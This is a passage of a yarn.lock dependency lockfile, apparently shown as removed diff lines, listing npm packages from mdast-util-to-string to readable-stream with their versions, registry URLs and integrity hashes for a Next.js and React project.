"https://registry.yarnpkg.com/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz#b8cfe6a713e1091cb5b728fc48885a4767f8b97b" - integrity sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w== - -mdurl@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/mdurl/-/mdurl-1.0.1.tgz#fe85b2ec75a59037f2adfec100fd6c601761152e" - integrity sha1-/oWy7HWlkDfyrf7BAP1sYBdhFS4= - -merge-stream@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60" - integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w== - -micromark-extension-gfm-autolink-literal@~0.5.0: - version "0.5.7" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-0.5.7.tgz#53866c1f0c7ef940ae7ca1f72c6faef8fed9f204" - integrity sha512-ePiDGH0/lhcngCe8FtH4ARFoxKTUelMp4L7Gg2pujYD5CSMb9PbblnyL+AAMud/SNMyusbS2XDSiPIRcQoNFAw== - dependencies: - micromark "~2.11.3" - -micromark-extension-gfm-strikethrough@~0.6.5: - version "0.6.5" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-0.6.5.tgz#96cb83356ff87bf31670eefb7ad7bba73e6514d1" - integrity sha512-PpOKlgokpQRwUesRwWEp+fHjGGkZEejj83k9gU5iXCbDG+XBA92BqnRKYJdfqfkrRcZRgGuPuXb7DaK/DmxOhw== - dependencies: - micromark "~2.11.0" - -micromark-extension-gfm-table@~0.4.0: - version "0.4.3" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-table/-/micromark-extension-gfm-table-0.4.3.tgz#4d49f1ce0ca84996c853880b9446698947f1802b" - integrity sha512-hVGvESPq0fk6ALWtomcwmgLvH8ZSVpcPjzi0AjPclB9FsVRgMtGZkUcpE0zgjOCFAznKepF4z3hX8z6e3HODdA== - dependencies: - micromark "~2.11.0" - -micromark-extension-gfm-tagfilter@~0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-0.3.0.tgz#d9f26a65adee984c9ccdd7e182220493562841ad" - integrity sha512-9GU0xBatryXifL//FJH+tAZ6i240xQuFrSL7mYi8f4oZSbc+NvXjkrHemeYP0+L4ZUT+Ptz3b95zhUZnMtoi/Q== - -micromark-extension-gfm-task-list-item@~0.3.0: - version "0.3.3" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-0.3.3.tgz#d90c755f2533ed55a718129cee11257f136283b8" - integrity sha512-0zvM5iSLKrc/NQl84pZSjGo66aTGd57C1idmlWmE87lkMcXrTxg1uXa/nXomxJytoje9trP0NDLvw4bZ/Z/XCQ== - dependencies: - micromark "~2.11.0" - -micromark-extension-gfm@^0.3.0: - version "0.3.3" - resolved "https://registry.yarnpkg.com/micromark-extension-gfm/-/micromark-extension-gfm-0.3.3.tgz#36d1a4c089ca8bdfd978c9bd2bf1a0cb24e2acfe" - integrity sha512-oVN4zv5/tAIA+l3GbMi7lWeYpJ14oQyJ3uEim20ktYFAcfX1x3LNlFGGlmrZHt7u9YlKExmyJdDGaTt6cMSR/A== - dependencies: - micromark "~2.11.0" - micromark-extension-gfm-autolink-literal "~0.5.0" - micromark-extension-gfm-strikethrough "~0.6.5" - micromark-extension-gfm-table "~0.4.0" - micromark-extension-gfm-tagfilter "~0.3.0" - micromark-extension-gfm-task-list-item "~0.3.0" - -micromark@^2.11.3, micromark@~2.11.0, micromark@~2.11.3: - version "2.11.4" - resolved "https://registry.yarnpkg.com/micromark/-/micromark-2.11.4.tgz#d13436138eea826383e822449c9a5c50ee44665a" - integrity sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA== - dependencies: - debug "^4.0.0" - parse-entities "^2.0.0" - -miller-rabin@^4.0.0: - version "4.0.1" - resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d" - integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA== - dependencies: - bn.js "^4.0.0" - brorand "^1.0.1" - -minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7" - integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A== - -minimalistic-crypto-utils@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a" - integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo= - -minimist@^1.2.0: - version "1.2.5" - resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602" - integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw== - -mousetrap@^1.6.5: - version "1.6.5" - resolved "https://registry.yarnpkg.com/mousetrap/-/mousetrap-1.6.5.tgz#8a766d8c272b08393d5f56074e0b5ec183485bf9" - integrity sha512-QNo4kEepaIBwiT8CDhP98umTetp+JNfQYBWvC1pc6/OAibuXtRcxZ58Qz8skvEHYvURne/7R8T5VoOI7rDsEUA== - -ms@2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" - integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g= - -ms@2.1.2: - version "2.1.2" - resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" - integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== - -nanoid@^3.1.16: - version "3.1.22" - resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.22.tgz#b35f8fb7d151990a8aebd5aa5015c03cf726f844" - integrity sha512-/2ZUaJX2ANuLtTvqTlgqBQNJoQO398KyJgZloL0PZkC0dpysjncRUPsFe3DUPzz/y3h+u7C46np8RMuvF3jsSQ== - -native-url@0.3.4: - version "0.3.4" - resolved "https://registry.yarnpkg.com/native-url/-/native-url-0.3.4.tgz#29c943172aed86c63cee62c8c04db7f5756661f8" - integrity sha512-6iM8R99ze45ivyH8vybJ7X0yekIcPf5GgLV5K0ENCbmRcaRIDoj37BC8iLEmaaBfqqb8enuZ5p0uhY+lVAbAcA== - dependencies: - querystring "^0.2.0" - -next@10.0.9: - version "10.0.9" - resolved "https://registry.yarnpkg.com/next/-/next-10.0.9.tgz#ad5d8e0368fee8363cdfd64d22dfbf71f683ae66" - integrity sha512-HyoVjYydcM6LaFAUOHSxVQCcKOsIimVO/IKXCuWUu1rr6DDgXbWNg/8ckH084qD46MOYlLzjViiZ3KCmNQL4Cw== - dependencies: - "@babel/runtime" "7.12.5" - "@hapi/accept" "5.0.1" - "@next/env" "10.0.9" - "@next/polyfill-module" "10.0.9" - "@next/react-dev-overlay" "10.0.9" - "@next/react-refresh-utils" "10.0.9" - "@opentelemetry/api" "0.14.0" - ast-types "0.13.2" - browserslist "4.16.1" - buffer "5.6.0" - caniuse-lite "^1.0.30001179" - chalk "2.4.2" - chokidar "3.5.1" - crypto-browserify "3.12.0" - cssnano-simple "1.2.2" - etag "1.8.1" - find-cache-dir "3.3.1" - get-orientation "1.1.2" - jest-worker "24.9.0" - native-url "0.3.4" - node-fetch "2.6.1" - node-html-parser "1.4.9" - node-libs-browser "^2.2.1" - p-limit "3.1.0" - path-browserify "1.0.1" - pnp-webpack-plugin "1.6.4" - postcss "8.1.7" - process "0.11.10" - prop-types "15.7.2" - raw-body "2.4.1" - react-is "16.13.1" - react-refresh "0.8.3" - stream-browserify "3.0.0" - styled-jsx "3.3.2" - use-subscription "1.5.1" - vm-browserify "1.1.2" - watchpack "2.1.1" - -node-fetch@2.6.1: - version "2.6.1" - resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052" - integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw== - -node-html-parser@1.4.9: - version "1.4.9" - resolved "https://registry.yarnpkg.com/node-html-parser/-/node-html-parser-1.4.9.tgz#3c8f6cac46479fae5800725edb532e9ae8fd816c" - integrity sha512-UVcirFD1Bn0O+TSmloHeHqZZCxHjvtIeGdVdGMhyZ8/PWlEiZaZ5iJzR189yKZr8p0FXN58BUeC7RHRkf/KYGw== - dependencies: - he "1.2.0" - -node-libs-browser@^2.2.1: - version "2.2.1" - resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425" - integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q== - dependencies: - assert "^1.1.1" - browserify-zlib "^0.2.0" - buffer "^4.3.0" - console-browserify "^1.1.0" - constants-browserify "^1.0.0" - crypto-browserify "^3.11.0" - domain-browser "^1.1.1" - events "^3.0.0" - https-browserify "^1.0.0" - os-browserify "^0.3.0" - path-browserify "0.0.1" - process "^0.11.10" - punycode "^1.2.4" - querystring-es3 "^0.2.0" - readable-stream "^2.3.3" - stream-browserify "^2.0.1" - stream-http "^2.7.2" - string_decoder "^1.0.0" - timers-browserify "^2.0.4" - tty-browserify "0.0.0" - url "^0.11.0" - util "^0.11.0" - vm-browserify "^1.0.1" - -node-releases@^1.1.69: - version "1.1.71" - resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.71.tgz#cb1334b179896b1c89ecfdd4b725fb7bbdfc7dbb" - integrity sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg== - -normalize-path@^3.0.0, normalize-path@~3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65" - integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== - -object-assign@^4.1.1: - version "4.1.1" - resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863" - integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM= - -os-browserify@^0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27" - integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc= - -p-limit@3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b" - integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== - dependencies: - yocto-queue "^0.1.0" - -p-limit@^2.2.0: - version "2.3.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1" - integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w== - dependencies: - p-try "^2.0.0" - -p-locate@^4.1.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07" - integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A== - dependencies: - p-limit "^2.2.0" - -p-try@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6" - integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ== - -pako@~1.0.5: - version "1.0.11" - resolved "https://registry.yarnpkg.com/pako/-/pako-1.0.11.tgz#6c9599d340d54dfd3946380252a35705a6b992bf" - integrity sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw== - -parse-asn1@^5.0.0, parse-asn1@^5.1.5: - version "5.1.6" - resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4" - integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw== - dependencies: - asn1.js "^5.2.0" - browserify-aes "^1.0.0" - evp_bytestokey "^1.0.0" - pbkdf2 "^3.0.3" - safe-buffer "^5.1.1" - -parse-entities@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/parse-entities/-/parse-entities-2.0.0.tgz#53c6eb5b9314a1f4ec99fa0fdf7ce01ecda0cbe8" - integrity sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ== - dependencies: - character-entities "^1.0.0" - character-entities-legacy "^1.0.0" - character-reference-invalid "^1.0.0" - is-alphanumerical "^1.0.0" - is-decimal "^1.0.0" - is-hexadecimal "^1.0.0" - -parse5@^6.0.0: - version "6.0.1" - resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b" - integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw== - -path-browserify@0.0.1: - version "0.0.1" - resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-0.0.1.tgz#e6c4ddd7ed3aa27c68a20cc4e50e1a4ee83bbc4a" - integrity sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ== - -path-browserify@1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/path-browserify/-/path-browserify-1.0.1.tgz#d98454a9c3753d5790860f16f68867b9e46be1fd" - integrity sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g== - -path-exists@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" - integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== - -pbkdf2@^3.0.3: - version "3.1.1" - resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.1.tgz#cb8724b0fada984596856d1a6ebafd3584654b94" - integrity sha512-4Ejy1OPxi9f2tt1rRV7Go7zmfDQ+ZectEQz3VGUQhgq62HtIRPDyG/JtnwIxs6x3uNMwo2V7q1fMvKjb+Tnpqg== - dependencies: - create-hash "^1.1.2" - create-hmac "^1.1.4" - ripemd160 "^2.0.1" - safe-buffer "^5.0.1" - sha.js "^2.4.8" - -picomatch@^2.0.4, picomatch@^2.2.1: - version "2.2.2" - resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.2.2.tgz#21f333e9b6b8eaff02468f5146ea406d345f4dad" - integrity sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg== - -pkg-dir@^4.1.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3" - integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ== - dependencies: - find-up "^4.0.0" - -platform@1.3.6: - version "1.3.6" - resolved "https://registry.yarnpkg.com/platform/-/platform-1.3.6.tgz#48b4ce983164b209c2d45a107adb31f473a6e7a7" - integrity sha512-fnWVljUchTro6RiCFvCXBbNhJc2NijN7oIQxbwsyL0buWJPG85v81ehlHI9fXrJsMNgTofEoWIQeClKpgxFLrg== - -pnp-webpack-plugin@1.6.4: - version "1.6.4" - resolved "https://registry.yarnpkg.com/pnp-webpack-plugin/-/pnp-webpack-plugin-1.6.4.tgz#c9711ac4dc48a685dabafc86f8b6dd9f8df84149" - integrity sha512-7Wjy+9E3WwLOEL30D+m8TSTF7qJJUJLONBnwQp0518siuMxUQUbgZwssaFX+QKlZkjHZcw/IpZCt/H0srrntSg== - dependencies: - ts-pnp "^1.1.6" - -popper.js@1.16.1-lts: - version "1.16.1-lts" - resolved "https://registry.yarnpkg.com/popper.js/-/popper.js-1.16.1-lts.tgz#cf6847b807da3799d80ee3d6d2f90df8a3f50b05" - integrity sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA== - -postcss@8.1.7: - version "8.1.7" - resolved "https://registry.yarnpkg.com/postcss/-/postcss-8.1.7.tgz#ff6a82691bd861f3354fd9b17b2332f88171233f" - integrity sha512-llCQW1Pz4MOPwbZLmOddGM9eIJ8Bh7SZ2Oj5sxZva77uVaotYDsYTch1WBTNu7fUY0fpWp0fdt7uW40D4sRiiQ== - dependencies: - colorette "^1.2.1" - line-column "^1.0.2" - nanoid "^3.1.16" - source-map "^0.6.1" - -postcss@^7.0.32: - version "7.0.35" - resolved "https://registry.yarnpkg.com/postcss/-/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24" - integrity sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg== - dependencies: - chalk "^2.4.2" - source-map "^0.6.1" - supports-color "^6.1.0" - -prismjs@^1.22.0, prismjs@~1.23.0: - version "1.23.0" - resolved "https://registry.yarnpkg.com/prismjs/-/prismjs-1.23.0.tgz#d3b3967f7d72440690497652a9d40ff046067f33" - integrity sha512-c29LVsqOaLbBHuIbsTxaKENh1N2EQBOHaWv7gkHN4dgRbxSREqDnDbtFJYdpPauS4YCplMSNCABQ6Eeor69bAA== - optionalDependencies: - clipboard "^2.0.0" - -process-nextick-args@~2.0.0: - version "2.0.1" - resolved "https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2" - integrity sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag== - -process@0.11.10, process@^0.11.10: - version "0.11.10" - resolved "https://registry.yarnpkg.com/process/-/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182" - integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI= - -prop-types@15.7.2, prop-types@^15.6.2, prop-types@^15.7.2: - version "15.7.2" - resolved "https://registry.yarnpkg.com/prop-types/-/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5" - integrity sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ== - dependencies: - loose-envify "^1.4.0" - object-assign "^4.1.1" - react-is "^16.8.1" - -property-information@^5.0.0, property-information@^5.3.0: - version "5.6.0" - resolved "https://registry.yarnpkg.com/property-information/-/property-information-5.6.0.tgz#61675545fb23002f245c6540ec46077d4da3ed69" - integrity sha512-YUHSPk+A30YPv+0Qf8i9Mbfe/C0hdPXk1s1jPVToV8pk8BQtpw10ct89Eo7OWkutrwqvT0eicAxlOg3dOAu8JA== - dependencies: - xtend "^4.0.0" - -public-encrypt@^4.0.0: - version "4.0.3" - resolved "https://registry.yarnpkg.com/public-encrypt/-/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0" - integrity sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q== - dependencies: - bn.js "^4.1.0" - browserify-rsa "^4.0.0" - create-hash "^1.1.0" - parse-asn1 "^5.0.0" - randombytes "^2.0.1" - safe-buffer "^5.1.2" - -punycode@1.3.2: - version "1.3.2" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d" - integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0= - -punycode@^1.2.4: - version "1.4.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e" - integrity sha1-wNWmOycYgArY4esPpSachN1BhF4= - -punycode@^2.1.0: - version "2.1.1" - resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec" - integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A== - -querystring-es3@^0.2.0: - version "0.2.1" - resolved "https://registry.yarnpkg.com/querystring-es3/-/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73" - integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM= - -querystring@0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620" - integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA= - -querystring@^0.2.0: - version "0.2.1" - resolved "https://registry.yarnpkg.com/querystring/-/querystring-0.2.1.tgz#40d77615bb09d16902a85c3e38aa8b5ed761c2dd" - integrity sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg== - -randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5: - version "2.1.0" - resolved "https://registry.yarnpkg.com/randombytes/-/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a" - integrity sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ== - dependencies: - safe-buffer "^5.1.0" - -randomfill@^1.0.3: - version "1.0.4" - resolved "https://registry.yarnpkg.com/randomfill/-/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458" - integrity sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw== - dependencies: - randombytes "^2.0.5" - safe-buffer "^5.1.0" - -raw-body@2.4.1: - version "2.4.1" - resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.4.1.tgz#30ac82f98bb5ae8c152e67149dac8d55153b168c" - integrity sha512-9WmIKF6mkvA0SLmA2Knm9+qj89e+j1zqgyn8aXGd7+nAduPoqgI9lO57SAZNn/Byzo5P7JhXTyg9PzaJbH73bA== - dependencies: - bytes "3.1.0" - http-errors "1.7.3" - iconv-lite "0.4.24" - unpipe "1.0.0" - -react-dom@17.0.2: - version "17.0.2" - resolved "https://registry.yarnpkg.com/react-dom/-/react-dom-17.0.2.tgz#ecffb6845e3ad8dbfcdc498f0d0a939736502c23" - integrity sha512-s4h96KtLDUQlsENhMn1ar8t2bEa+q/YAtj8pPPdIjPDGBDIVNsrD9aXNWqspUe6AzKCIG0C1HZZLqLV7qpOBGA== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - scheduler "^0.20.2" - -react-is@16.13.1, react-is@^16.7.0, react-is@^16.8.1: - version "16.13.1" - resolved "https://registry.yarnpkg.com/react-is/-/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4" - integrity sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ== - -"react-is@^16.8.0 || ^17.0.0", react-is@^17.0.0: - version "17.0.2" - resolved "https://registry.yarnpkg.com/react-is/-/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0" - integrity sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w== - -react-markdown@^6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/react-markdown/-/react-markdown-6.0.0.tgz#e63cd32d095e864384d524986c44c34c919de517" - integrity sha512-MC+zljUJeoLb4RbDm/wRbfoQFEZGz4TDOt/wb4dEehdaJWxLMn/T2IgwhQy0VYhuPEd2fhd7iOayE8lmENU0FA== - dependencies: - "@types/hast" "^2.0.0" - "@types/unist" "^2.0.3" - comma-separated-tokens "^1.0.0" - prop-types "^15.7.2" - property-information "^5.0.0" - react-is "^17.0.0" - remark-parse "^9.0.0" - remark-rehype "^8.0.0" - space-separated-tokens "^1.1.0" - style-to-object "^0.3.0" - unified "^9.0.0" - unist-util-visit "^2.0.0" - -react-refresh@0.8.3: - version "0.8.3" - resolved "https://registry.yarnpkg.com/react-refresh/-/react-refresh-0.8.3.tgz#721d4657672d400c5e3c75d063c4a85fb2d5d68f" - integrity sha512-X8jZHc7nCMjaCqoU+V2I0cOhNW+QMBwSUkeXnTi8IPe6zaRWfn60ZzvFDZqWPfmSJfjub7dDW1SP0jaHWLu/hg== - -react-syntax-highlighter@^15.4.3: - version "15.4.3" - resolved "https://registry.yarnpkg.com/react-syntax-highlighter/-/react-syntax-highlighter-15.4.3.tgz#fffe3286677ac470b963b364916d16374996f3a6" - integrity sha512-TnhGgZKXr5o8a63uYdRTzeb8ijJOgRGe0qjrE0eK/gajtdyqnSO6LqB3vW16hHB0cFierYSoy/AOJw8z1Dui8g== - dependencies: - "@babel/runtime" "^7.3.1" - highlight.js "^10.4.1" - lowlight "^1.17.0" - prismjs "^1.22.0" - refractor "^3.2.0" - -react-transition-group@^4.4.0: - version "4.4.1" - resolved "https://registry.yarnpkg.com/react-transition-group/-/react-transition-group-4.4.1.tgz#63868f9325a38ea5ee9535d828327f85773345c9" - integrity sha512-Djqr7OQ2aPUiYurhPalTrVy9ddmFCCzwhqQmtN+J3+3DzLO209Fdr70QrN8Z3DsglWql6iY1lDWAfpFiBtuKGw== - dependencies: - "@babel/runtime" "^7.5.5" - dom-helpers "^5.0.1" - loose-envify "^1.4.0" - prop-types "^15.6.2" - -react@17.0.2: - version "17.0.2" - resolved "https://registry.yarnpkg.com/react/-/react-17.0.2.tgz#d0b5cc516d29eb3eee383f75b62864cfb6800037" - integrity sha512-gnhPt75i/dq/z3/6q/0asP78D0u592D5L1pd7M8P+dck6Fu/jJeL6iVVK23fptSUZj8Vjf++7wXA8UNclGQcbA== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - -readable-stream@^2.0.2, readable-stream@^2.3.3, readable-stream@^2.3.6: - version "2.3.7" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.3.7.tgz#1eca1cf711aef814c04f62252a36a62f6cb23b57" - integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw== - dependencies: - core-util-is "~1.0.0" - inherits "~2.0.3" - isarray "~1.0.0" - 